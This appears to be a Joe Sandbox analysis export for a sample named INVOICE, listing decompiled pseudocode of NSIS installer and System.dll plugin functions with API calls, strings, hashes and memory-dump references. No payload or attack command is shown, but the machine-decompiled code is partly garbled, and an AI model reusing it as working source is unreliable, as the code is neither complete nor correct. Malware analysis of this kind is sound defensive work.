GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,73E822D8,?,00000808), ref: 73E816DC
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,73E822D8,?,00000808), ref: 73E816F0
GetProcAddress.KERNEL32(73E822D8,00000000), ref: 73E816F7
GlobalFree.KERNEL32(00000000), ref: 73E81700

Memory Dump Source

Source File: 00000000.00000002.1067951591.0000000073E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 73E80000, based on PE: true

Associated: 00000000.00000002.1067875254.0000000073E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1068020301.0000000073E84000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1068074588.0000000073E86000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73e80000_INVOICE.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 158ccf961c258aefab911f1427e1c9765a75875e164d96605affcddb4ea384ba
Instruction ID: 6e628de0404d658f78b26a83f1bd554230aa94ef3e0babfd1c271e0d551c66cd
Opcode Fuzzy Hash: 158ccf961c258aefab911f1427e1c9765a75875e164d96605affcddb4ea384ba
Instruction Fuzzy Hash: 42F0AC776061387FD62126A78C4CEDBBE9DDF8B3F5B210215F62C9219086615D01DBF2

Uniqueness

Uniqueness Score: -1.00%

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401C43(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				WCHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t63;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402D84(3);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 - 0x18) = _t29;
				_t30 = E00402D84(4);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x1c) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x18)) = E00402DA6(0x33);
				}
				__eflags =  *(_t64 - 0x1c) & 0x00000002;
				if(( *(_t64 - 0x1c) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402DA6(0x44);
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x34)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t61 = E00402DA6();
					_t32 = E00402DA6();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t61;
					__eflags = _t35;
					_t36 = FindWindowExW( *(_t64 - 0x18),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
					goto L10;
				} else {
					_t63 = E00402D84();
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t41 = E00402D84(2);
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t56 =  *(_t64 - 0x1c) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8));
						L10:
						 *(_t64 - 0x38) = _t36;
					} else {
						_t42 = SendMessageTimeoutW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8), _t46, _t56, _t64 - 0x38);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x30)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x30)) >= _t46) {
					_push( *(_t64 - 0x38));
					E00406484();
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

0x00401c43
0x00401c45
0x00401c4c
0x00401c4f
0x00401c52
0x00401c5c
0x00401c60
0x00401c63
0x00401c6c
0x00401c6c
0x00401c6f
0x00401c73
0x00401c7c
0x00401c7c
0x00401c7f
0x00401c83
0x00401c85
0x00401cda
0x00401cdc
0x00401ce7
0x00401cf1
0x00401cf4
0x00401cf4
0x00401cfd
0x00000000
0x00401c87
0x00401c8e
0x00401c90
0x00401c93
0x00401c99
0x00401ca0
0x00401ca3
0x00401ccb
0x00401d03
0x00401d03
0x00401ca5
0x00401cb3
0x00401cbb
0x00401cbe
0x00401cbe
0x00401ca3
0x00401d06
0x00401d09
0x00401d0f
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 56378305e9cef062e59ac21505f1e4874eb63478d5e018d68d94a8de4df44513
Instruction ID: 549e056fbb7746b1afa8e7352ee9f1cbf83a3633853e14f9ff1f16dc1dd81c22
Opcode Fuzzy Hash: 56378305e9cef062e59ac21505f1e4874eb63478d5e018d68d94a8de4df44513
Instruction Fuzzy Hash: 46219C7190420AAFEF05AFA4D94AAAE7BB4FF84304F14453EF601B61D0D7B88941CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404D46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404D46(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v68;
				char _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				signed int _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t44;
				signed int _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t55;

				_t23 = _a16;
				_t53 = _a12;
				_t44 = 0xffffffdc;
				if(_t23 == 0) {
					_push(0x14);
					_pop(0);
					_t24 = _t53;
					if(_t53 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t44 = 0xffffffdd;
					}
					if(_t53 < 0x400) {
						_t44 = 0xffffffde;
					}
					if(_t53 < 0xffff3333) {
						_t52 = 0x14;
						asm("cdq");
						_t24 = 1 / _t52 + _t53;
					}
					_t25 = _t24 & 0x00ffffff;
					_t55 = _t24 >> 0;
					_t46 = 0xa;
					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
				} else {
					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
					_t50 = 0;
				}
				_t31 = E0040657A(_t44, _t50, _t55,  &_v68, 0xffffffdf);
				_t33 = E0040657A(_t44, _t50, _t55,  &_v132, _t44);
				_t34 = E0040657A(_t44, _t50, 0x42d268, 0x42d268, _a8);
				wsprintfW(_t34 + lstrlenW(0x42d268) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
				return SetDlgItemTextW( *0x433ed8, _a4, 0x42d268);
			}

0x00404d4f
0x00404d54
0x00404d5c
0x00404d5d
0x00404d6a
0x00404d72
0x00404d73
0x00404d75
0x00404d77
0x00404d79
0x00404d7c
0x00404d7c
0x00404d83
0x00404d89
0x00404d89
0x00404d90
0x00404d97
0x00404d9a
0x00404d9d
0x00404d9d
0x00404da1
0x00404db1
0x00404db3
0x00404db6
0x00404d5f
0x00404d5f
0x00404d66
0x00404d66
0x00404dbe
0x00404dc9
0x00404ddf
0x00404df0
0x00404e0c

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,-00436000), ref: 00404DE7
wsprintfW.USER32 ref: 00404DF0
SetDlgItemTextW.USER32(?,0042D268), ref: 00404E03

Strings

%u.%u%s%s, xrefs: 00404DD1

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 5273c8e1ef6d25911cf1b9a0066a557bca8c43180978e8caf7984b32bac85cc4
Instruction ID: d7f2b51e3f2153b105aad6c1cbcae815e44f670c765de83d30fbb221df5484fa
Opcode Fuzzy Hash: 5273c8e1ef6d25911cf1b9a0066a557bca8c43180978e8caf7984b32bac85cc4
Instruction Fuzzy Hash: AC11D573A041283BDB10656DAC45E9E369CAF81334F254237FA66F21D1EA78D91182E8

Uniqueness

Uniqueness Score: -1.00%

Function 00405F14 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00405F14(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr* _t21;
				signed int _t23;

				E0040653D(0x42fa70, _a4);
				_t21 = E00405EB7(0x42fa70);
				if(_t21 != 0) {
					E004067C4(_t21);
					if(( *0x434f18 & 0x00000080) == 0) {
						L5:
						_t23 = _t21 - 0x42fa70 >> 1;
						while(1) {
							_t11 = lstrlenW(0x42fa70);
							_push(0x42fa70);
							if(_t11 <= _t23) {
								break;
							}
							_t12 = E00406873();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405E58(0x42fa70);
								continue;
							} else {
								goto L1;
							}
						}
						E00405E0C();
						return 0 | GetFileAttributesW(??) != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x00405f20
0x00405f2b
0x00405f2f
0x00405f36
0x00405f42
0x00405f52
0x00405f54
0x00405f6c
0x00405f6d
0x00405f74
0x00405f75
0x00000000
0x00000000
0x00405f58
0x00405f5f
0x00405f67
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f5f
0x00405f77
0x00000000
0x00405f8b
0x00405f44
0x00405f4a
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f4a
0x00405f31
0x00000000

APIs

Part of subcall function 0040653D: lstrcpynW.KERNEL32(?,?,00000400,0040369D,00433F00,NSIS Error), ref: 0040654A

Part of subcall function 00405EB7: CharNextW.USER32(?,?,0042FA70,?,00405F2B,0042FA70,0042FA70, 4%w,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,77253420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405EC5
Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405ECA
Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405EE2

lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70, 4%w,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,77253420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405F6D
GetFileAttributesW.KERNEL32(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70, 4%w,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,77253420,C:\Users\user\AppData\Local\Temp\), ref: 00405F7D

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F14
4%w, xrefs: 00405F16

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4%w$C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-648219487
Opcode ID: 442e1b1d96b1c23b6c0207761c3788c7dd97485575ed4e88a223653099446a7a
Instruction ID: e20fb510edeaf32ba19235dad054e15b0ffac27cf679254cac4fdbc394554759
Opcode Fuzzy Hash: 442e1b1d96b1c23b6c0207761c3788c7dd97485575ed4e88a223653099446a7a
Instruction Fuzzy Hash: E3F0F426119D6226DB22333A5C05EAF0554CE9276475A023BF895B12C5DB3C8A43D8AE

Uniqueness

Uniqueness Score: -1.00%

Function 00405E0C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00405E0C(WCHAR* _a4) {
				WCHAR* _t9;

				_t9 = _a4;
				_push( &(_t9[lstrlenW(_t9)]));
				_push(_t9);
				if( *(CharPrevW()) != 0x5c) {
					lstrcatW(_t9, 0x40a014);
				}
				return _t9;
			}

0x00405e0d
0x00405e1a
0x00405e1b
0x00405e26
0x00405e2e
0x00405e2e
0x00405e36

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040351A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405E12
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040351A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405E1C
lstrcatW.KERNEL32(?,0040A014), ref: 00405E2E

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E0C

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction ID: 1a595bf39a0a3392b99637bd72bd9cca8666c17676e511d5d4bf90e80f698eee
Opcode Fuzzy Hash: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction Fuzzy Hash: A8D0A731101930BAC2127B49EC08DDF62ACAE89340341443BF145B30A4CB7C5E5187FD

Uniqueness

Uniqueness Score: -1.00%

Function 73E810E1 Relevance: 6.4, APIs: 5, Instructions: 145
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E73E810E1(signed int _a8, intOrPtr* _a12, void* _a16, void* _a20) {
				void* _v0;
				void* _t27;
				signed int _t29;
				void* _t30;
				void* _t34;
				void* _t36;
				void* _t38;
				void* _t40;
				void* _t48;
				void* _t54;
				void* _t63;
				void* _t64;
				signed int _t66;
				void* _t67;
				void* _t73;
				void* _t74;
				void* _t77;
				void* _t80;
				void _t81;
				void _t82;
				intOrPtr _t84;
				void* _t86;
				void* _t88;

				 *0x73e8506c = _a8;
				 *0x73e85070 = _a16;
				 *0x73e85074 = _a12;
				_a12( *0x73e85048, E73E81651, _t73);
				_t66 =  *0x73e8506c +  *0x73e8506c * 4 << 3;
				_t27 = E73E812E3();
				_v0 = _t27;
				_t74 = _t27;
				if( *_t27 == 0) {
					L28:
					return GlobalFree(_t27);
				}
				do {
					_t29 =  *_t74 & 0x0000ffff;
					_t67 = 2;
					_t74 = _t74 + _t67;
					_t88 = _t29 - 0x66;
					if(_t88 > 0) {
						_t30 = _t29 - 0x6c;
						if(_t30 == 0) {
							L23:
							_t31 =  *0x73e85040;
							if( *0x73e85040 == 0) {
								goto L26;
							}
							E73E81603( *0x73e85074, _t31 + 4, _t66);
							_t34 =  *0x73e85040;
							_t86 = _t86 + 0xc;
							 *0x73e85040 =  *_t34;
							L25:
							GlobalFree(_t34);
							goto L26;
						}
						_t36 = _t30 - 4;
						if(_t36 == 0) {
							L13:
							_t38 = ( *_t74 & 0x0000ffff) - 0x30;
							_t74 = _t74 + _t67;
							_t34 = E73E81312(E73E8135A(_t38));
							L14:
							goto L25;
						}
						_t40 = _t36 - _t67;
						if(_t40 == 0) {
							L11:
							_t80 = ( *_t74 & 0x0000ffff) - 0x30;
							_t74 = _t74 + _t67;
							_t34 = E73E81381(_t80, E73E812E3());
							goto L14;
						}
						L8:
						if(_t40 == 1) {
							_t81 = GlobalAlloc(0x40, _t66 + 4);
							_t10 = _t81 + 4; // 0x4
							E73E81603(_t10,  *0x73e85074, _t66);
							_t86 = _t86 + 0xc;
							 *_t81 =  *0x73e85040;
							 *0x73e85040 = _t81;
						}
						goto L26;
					}
					if(_t88 == 0) {
						_t48 =  *0x73e85070;
						_t77 =  *_t48;
						 *_t48 =  *_t77;
						_t49 = _v0;
						_t84 =  *((intOrPtr*)(_v0 + 0xc));
						if( *((short*)(_t77 + 4)) == 0x2691) {
							E73E81603(_t49, _t77 + 8, 0x38);
							_t86 = _t86 + 0xc;
						}
						 *((intOrPtr*)( *_a12 + 0xc)) = _t84;
						GlobalFree(_t77);
						goto L26;
					}
					_t54 = _t29 - 0x46;
					if(_t54 == 0) {
						_t82 = GlobalAlloc(0x40,  *0x73e8506c +  *0x73e8506c + 8);
						 *((intOrPtr*)(_t82 + 4)) = 0x2691;
						_t14 = _t82 + 8; // 0x8
						E73E81603(_t14, _v0, 0x38);
						_t86 = _t86 + 0xc;
						 *_t82 =  *( *0x73e85070);
						 *( *0x73e85070) = _t82;
						goto L26;
					}
					_t63 = _t54 - 6;
					if(_t63 == 0) {
						goto L23;
					}
					_t64 = _t63 - 4;
					if(_t64 == 0) {
						 *_t74 =  *_t74 + 0xa;
						goto L13;
					}
					_t40 = _t64 - _t67;
					if(_t40 == 0) {
						 *_t74 =  *_t74 + 0xa;
						goto L11;
					}
					goto L8;
					L26:
				} while ( *_t74 != 0);
				_t27 = _v0;
				goto L28;
			}

0x73e810eb
0x73e81100
0x73e81109
0x73e8110e
0x73e81119
0x73e8111c
0x73e81125
0x73e81129
0x73e8112b
0x73e812b0
0x73e812ba
0x73e812ba
0x73e81132
0x73e81132
0x73e81137
0x73e81138
0x73e8113a
0x73e8113d
0x73e81256
0x73e81259
0x73e81271
0x73e81271
0x73e81278
0x00000000
0x00000000
0x73e81285
0x73e8128a
0x73e8128f
0x73e81294
0x73e8129a
0x73e8129b
0x00000000
0x73e8129b
0x73e8125b
0x73e8125e
0x73e811bc
0x73e811bf
0x73e811c2
0x73e811cb
0x73e811d0
0x00000000
0x73e811d1
0x73e81264
0x73e81266
0x73e811a2
0x73e811a5
0x73e811a8
0x73e811b1
0x00000000
0x73e811b1
0x73e81164
0x73e81165
0x73e81177
0x73e81180
0x73e81184
0x73e8118e
0x73e81191
0x73e81193
0x73e81193
0x00000000
0x73e81165
0x73e81143
0x73e81218
0x73e8121d
0x73e81221
0x73e81223
0x73e8122c
0x73e8122f
0x73e81238
0x73e8123d
0x73e8123d
0x73e81247
0x73e8124a
0x00000000
0x73e81250
0x73e81149
0x73e8114c
0x73e811e9
0x73e811ed
0x73e811f7
0x73e811fb
0x73e81205
0x73e8120a
0x73e81211
0x00000000
0x73e81211
0x73e81152
0x73e81155
0x00000000
0x00000000
0x73e8115b
0x73e8115e
0x73e811b8
0x00000000
0x73e811b8
0x73e81160
0x73e81162
0x73e8119e
0x00000000
0x73e8119e
0x00000000
0x73e812a1
0x73e812a1
0x73e812ab
0x00000000

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 73E81171
GlobalAlloc.KERNEL32(00000040,?), ref: 73E811E3
GlobalFree.KERNEL32 ref: 73E8124A
GlobalFree.KERNEL32(?), ref: 73E8129B
GlobalFree.KERNEL32(00000000), ref: 73E812B1

Memory Dump Source

Source File: 00000000.00000002.1067951591.0000000073E81000.00000020.00000001.01000000.00000004.sdmp, Offset: 73E80000, based on PE: true

Associated: 00000000.00000002.1067875254.0000000073E80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1068020301.0000000073E84000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1068074588.0000000073E86000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73e80000_INVOICE.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 0ea66dee89c9bf07f1030391f24fe39bee3c4c7cb6dded5bad12cea05276b6c8
Instruction ID: bf454bacd85fd62cb20a82491906c8b825a9c8d38a90e9ec3bef0d72f17d568f
Opcode Fuzzy Hash: 0ea66dee89c9bf07f1030391f24fe39bee3c4c7cb6dded5bad12cea05276b6c8
Instruction Fuzzy Hash: 6E518DBAD00316DFE701DF69C944BEA77FCEB08319B246519E94EDB290EB35A900DB50

Uniqueness

Uniqueness Score: -1.00%

Function 0040263E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 65
stringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040263E(void* __ebx, void* __edx, intOrPtr* __edi) {
				signed int _t14;
				int _t17;
				void* _t24;
				intOrPtr* _t29;
				void* _t31;
				signed int _t32;
				void* _t35;
				void* _t40;
				signed int _t42;

				_t29 = __edi;
				_t24 = __ebx;
				_t14 =  *(_t35 - 0x28);
				_t40 = __edx - 0x38;
				 *(_t35 - 0x10) = _t14;
				_t27 = 0 | _t40 == 0x00000000;
				_t32 = _t40 == 0;
				if(_t14 == __ebx) {
					if(__edx != 0x38) {
						_t17 = lstrlenW(E00402DA6(0x11)) + _t16;
					} else {
						E00402DA6(0x21);
						E0040655F("C:\Users\Arthur\AppData\Local\Temp\nspB8FC.tmp", "C:\Users\Arthur\AppData\Local\Temp\nspB8FC.tmp\System.dll", 0x400);
						_t17 = lstrlenA("C:\Users\Arthur\AppData\Local\Temp\nspB8FC.tmp\System.dll");
					}
				} else {
					E00402D84(1);
					 *0x40adf0 = __ax;
					 *((intOrPtr*)(__ebp - 0x44)) = __edx;
				}
				 *(_t35 + 8) = _t17;
				if( *_t29 == _t24) {
					L13:
					 *((intOrPtr*)(_t35 - 4)) = 1;
				} else {
					_t31 = E0040649D(_t27, _t29);
					if((_t32 |  *(_t35 - 0x10)) != 0 ||  *((intOrPtr*)(_t35 - 0x24)) == _t24 || E0040610E(_t31, _t31) >= 0) {
						_t14 = E004060DF(_t31, "C:\Users\Arthur\AppData\Local\Temp\nspB8FC.tmp\System.dll",  *(_t35 + 8));
						_t42 = _t14;
						if(_t42 == 0) {
							goto L13;
						}
					} else {
						goto L13;
					}
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x0040263e
0x0040263e
0x0040263e
0x00402643
0x00402646
0x00402649
0x0040264e
0x00402650
0x00402670
0x004026aa
0x00402672
0x00402674
0x00402688
0x00402695
0x00402695
0x00402652
0x00402654
0x00402659
0x00402667
0x0040266a
0x004026af
0x004026b2
0x0040292e
0x0040292e
0x004026b8
0x004026c1
0x004026c3
0x004026e2
0x004015b4
0x004015b6
0x00000000
0x004015bc
0x00000000
0x00000000
0x00000000
0x004026c3
0x00402c2d
0x00402c39

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll), ref: 00402695

Strings

C:\Users\user\AppData\Local\Temp\nspB8FC.tmp, xrefs: 00402683
C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll, xrefs: 00402659, 0040267E, 00402690, 004026DC

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp$C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll
API String ID: 1659193697-859521982
Opcode ID: c6271de305d28e4340191c40b24bb758c2950df04ec3194b8553c0e0fd6979b8
Instruction ID: edf8e5a6553ae7ef136857fb61bcac29e22bbc78049b19fa22ca3c34260198f3
Opcode Fuzzy Hash: c6271de305d28e4340191c40b24bb758c2950df04ec3194b8553c0e0fd6979b8
Instruction Fuzzy Hash: 2611EB71A00215BBCB10BFB18E4AAAE7665AF40744F25443FE002B71C2EAFC8891565E

Uniqueness

Uniqueness Score: -1.00%

Function 00403019 Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403019(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					__eflags =  *0x42aa20; // 0x0
					if(__eflags == 0) {
						_t2 = GetTickCount();
						__eflags = _t2 -  *0x434f0c;
						if(_t2 >  *0x434f0c) {
							_t3 = CreateDialogParamW( *0x434f00, 0x6f, 0, E00402F93, 0);
							 *0x42aa20 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E00406946(0);
					}
				} else {
					_t6 =  *0x42aa20; // 0x0
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x42aa20 = 0;
					return _t6;
				}
			}

0x00403020
0x0040303a
0x00403040
0x0040304a
0x00403050
0x00403056
0x00403067
0x00403070
0x00000000
0x00403075
0x0040307c
0x00403042
0x00403049
0x00403049
0x00403022
0x00403022
0x00403029
0x0040302c
0x0040302c
0x00403032
0x00403039
0x00403039

APIs

DestroyWindow.USER32(00000000,00000000,004031F7,00000001,?,?,?,?,?,0040387D,?), ref: 0040302C
GetTickCount.KERNEL32 ref: 0040304A
CreateDialogParamW.USER32(0000006F,00000000,00402F93,00000000), ref: 00403067
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,0040387D,?), ref: 00403075

